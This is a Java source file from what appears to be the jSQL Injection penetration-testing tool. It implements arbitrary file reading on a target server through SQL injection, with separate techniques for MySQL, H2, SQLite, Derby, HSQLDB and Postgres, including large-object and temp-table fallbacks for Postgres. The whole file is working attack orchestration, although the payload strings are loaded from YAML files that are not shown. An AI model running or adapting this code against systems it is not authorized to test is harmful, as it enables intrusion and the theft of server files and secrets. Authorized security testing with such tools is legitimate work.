1 package com.jsql.model.accessible;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.bean.database.MockElement;
5 import com.jsql.model.exception.InjectionFailureException;
6 import com.jsql.model.exception.LoopDetectedSlidingException;
7 import com.jsql.model.exception.StoppedByUserSlidingException;
8 import com.jsql.model.injection.vendor.model.VendorYaml;
9 import com.jsql.model.suspendable.SuspendableGetRows;
10 import com.jsql.util.LogLevelUtil;
11 import org.apache.commons.codec.binary.Hex;
12 import org.apache.commons.lang3.RandomStringUtils;
13 import org.apache.commons.lang3.StringUtils;
14 import org.apache.logging.log4j.LogManager;
15 import org.apache.logging.log4j.Logger;
16
17 import java.nio.charset.StandardCharsets;
18 import java.util.concurrent.Callable;
19
20
21
22
23
24 public class CallableFile implements Callable<CallableFile> {
25
26
27
28
29 private static final Logger LOGGER = LogManager.getRootLogger();
30 private static final String REQUIRE_STACK = "Read file requirement : stack query";
31
32
33
34
35 private final String pathFile;
36
37
38
39
40 private String sourceFile = StringUtils.EMPTY;
41
42
43
44
45 private final SuspendableGetRows suspendableReadFile;
46
47 private final InjectionModel injectionModel;
48
49
50
51
52 public CallableFile(String pathFile, InjectionModel injectionModel) {
53 this.pathFile = pathFile;
54 this.injectionModel= injectionModel;
55 this.suspendableReadFile = new SuspendableGetRows(injectionModel);
56 }
57
58
59
60
61
62 @Override
63 public CallableFile call() throws Exception {
64 var sourcePage = new String[]{ StringUtils.EMPTY };
65
66 String resultToParse = StringUtils.EMPTY;
67 try {
68 if (this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getMysql()) {
69 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement : user FILE privilege");
70 resultToParse = this.suspendableReadFile.run(
71 this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getRead().replace(
72 VendorYaml.FILEPATH_HEX,
73 Hex.encodeHexString(this.pathFile.getBytes(StandardCharsets.UTF_8))
74 ),
75 sourcePage,
76 false,
77 1,
78 MockElement.MOCK,
79 ResourceAccess.FILE_READ
80 );
81 } else if (this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getH2()) {
82 resultToParse = this.suspendableReadFile.run(
83 String.format(
84 this.injectionModel.getResourceAccess().getExploitH2().getModelYaml().getFile().getReadFromPath(),
85 this.pathFile
86 ),
87 sourcePage,
88 false,
89 1,
90 MockElement.MOCK,
91 ResourceAccess.FILE_READ
92 );
93 } else if (this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getSqlite()) {
94 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement : extension fileio loaded");
95 resultToParse = this.suspendableReadFile.run(
96 String.format(
97 this.injectionModel.getResourceAccess().getExploitSqlite().getModelYaml().getExtension().getFileioRead(),
98 this.pathFile
99 ),
100 sourcePage,
101 false,
102 1,
103 MockElement.MOCK,
104 ResourceAccess.FILE_READ
105 );
106 } else if (this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getDerby()) {
107 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, CallableFile.REQUIRE_STACK);
108 var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
109 this.injectionModel.injectWithoutIndex(String.format(
110 this.injectionModel.getResourceAccess().getExploitDerby().getModelYaml().getFile().getCreateTable(),
111 nameTable,
112 nameTable, this.pathFile
113 ), ResourceAccess.TBL_FILL);
114 resultToParse = this.suspendableReadFile.run(
115 String.format(
116 this.injectionModel.getResourceAccess().getExploitDerby().getModelYaml().getFile().getRead(),
117 nameTable
118 ),
119 sourcePage,
120 true,
121 0,
122 MockElement.MOCK,
123 ResourceAccess.FILE_READ
124 );
125 } else if (this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getHsqldb()) {
126 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, CallableFile.REQUIRE_STACK);
127 var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
128 this.injectionModel.injectWithoutIndex(String.format(
129 this.injectionModel.getResourceAccess().getExploitHsqldb().getModelYaml().getFile().getRead().getCreateTable(),
130 nameTable,
131 nameTable, this.pathFile
132 ), ResourceAccess.TBL_FILL);
133 resultToParse = this.suspendableReadFile.run(
134 String.format(
135 this.injectionModel.getResourceAccess().getExploitHsqldb().getModelYaml().getFile().getRead().getResult(),
136 VendorYaml.TRAIL_SQL,
137 nameTable
138 ),
139 sourcePage,
140 false,
141 1,
142 MockElement.MOCK,
143 ResourceAccess.TBL_READ
144 );
145 } else if (this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getPostgres()) {
146 try {
147 resultToParse = this.suspendableReadFile.run(
148 String.format(
149 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getFromDataFolder(),
150 this.pathFile
151 ),
152 sourcePage,
153 false,
154 1,
155 MockElement.MOCK,
156 ResourceAccess.FILE_READ
157 );
158 } catch (InjectionFailureException e) {
159 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read data folder failure, trying with large object");
160 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
161 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getLargeObject().getFromPath(),
162 this.pathFile
163 ), ResourceAccess.ADD_LOID);
164 if (StringUtils.isNotEmpty(loid)) {
165 resultToParse = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
166 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getLargeObject().getToText(),
167 loid
168 ), ResourceAccess.READ_LOID);
169 }
170 if (StringUtils.isEmpty(resultToParse)) {
171 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read large object failure, trying with stack read");
172 var nameLibraryRandom = "tmp_" + RandomStringUtils.secure().nextAlphabetic(8);
173 this.injectionModel.injectWithoutIndex(String.format(
174 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getDrop(),
175 nameLibraryRandom
176 ), ResourceAccess.TBL_DROP);
177 this.injectionModel.injectWithoutIndex(String.format(
178 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getAdd(),
179 nameLibraryRandom
180 ), ResourceAccess.TBL_CREATE);
181 this.injectionModel.injectWithoutIndex(String.format(
182 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getFill(),
183 nameLibraryRandom,
184 this.pathFile
185 ), ResourceAccess.TBL_FILL);
186 resultToParse = this.suspendableReadFile.run(
187 String.format(
188 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getFromTempTable(),
189 nameLibraryRandom
190 ),
191 sourcePage,
192 false,
193 1,
194 MockElement.MOCK,
195 ResourceAccess.TBL_READ
196 );
197 }
198 }
199 } else {
200 LOGGER.log(
201 LogLevelUtil.CONSOLE_DEFAULT,
202 "Read file not implemented for [{}], share a working example to GitHub to speed up release",
203 this.injectionModel.getMediatorVendor().getVendor()
204 );
205 }
206 } catch (InjectionFailureException e) {
207
208 LOGGER.log(LogLevelUtil.IGNORE, e);
209 } catch (LoopDetectedSlidingException | StoppedByUserSlidingException e) {
210
211 if (StringUtils.isNotEmpty(e.getSlidingWindowAllRows())) {
212 resultToParse = e.getSlidingWindowAllRows();
213 } else if (StringUtils.isNotEmpty(e.getSlidingWindowCurrentRows())) {
214 resultToParse = e.getSlidingWindowCurrentRows();
215 }
216 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e);
217 }
218
219 this.sourceFile = resultToParse;
220 return this;
221 }
222
223
224
225
226 public String getPathFile() {
227 return this.pathFile;
228 }
229
230 public String getSourceFile() {
231 return this.sourceFile;
232 }
233
234 public SuspendableGetRows getSuspendableReadFile() {
235 return this.suspendableReadFile;
236 }
237 }